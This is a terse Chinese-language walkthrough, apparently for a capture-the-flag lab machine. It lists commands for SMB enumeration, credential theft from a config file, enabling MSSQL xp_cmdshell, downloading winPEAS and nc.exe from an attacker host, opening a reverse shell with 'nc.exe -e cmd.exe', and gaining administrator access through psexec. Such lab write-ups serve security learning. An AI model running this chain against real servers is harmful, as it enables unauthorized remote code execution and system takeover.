端口扫描
nmap -sV -sT 10.129.1.1
smbclint
smbclient -L 10.129.149.214
获取密码
smbclient //10.129.149.214/backups
get prod.dtsConfig
连接数据库
sudo impacket-mssqlclient sql_svc@10.129.149.214 -windows-auth
开启xp_cmdshell
enable_xp_cmdshell
RECONFIGURE
上传nc和提权工具
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.15.72/winPEAS.bat -outfile winPEAS.bat"
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.15.72/nc.exe -outfile nc.exe"
开启nc监听 clinet运行nc
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc.exe -e cmd.exe 10.10.15.72 4444"
获取user flag
运行./winPEAS.bat
掉线后重新连接，查询历史记录（等待SQL显示output）
账号密码登录
sudo psexec.py administrator@10.129.149.214
读取root.txt
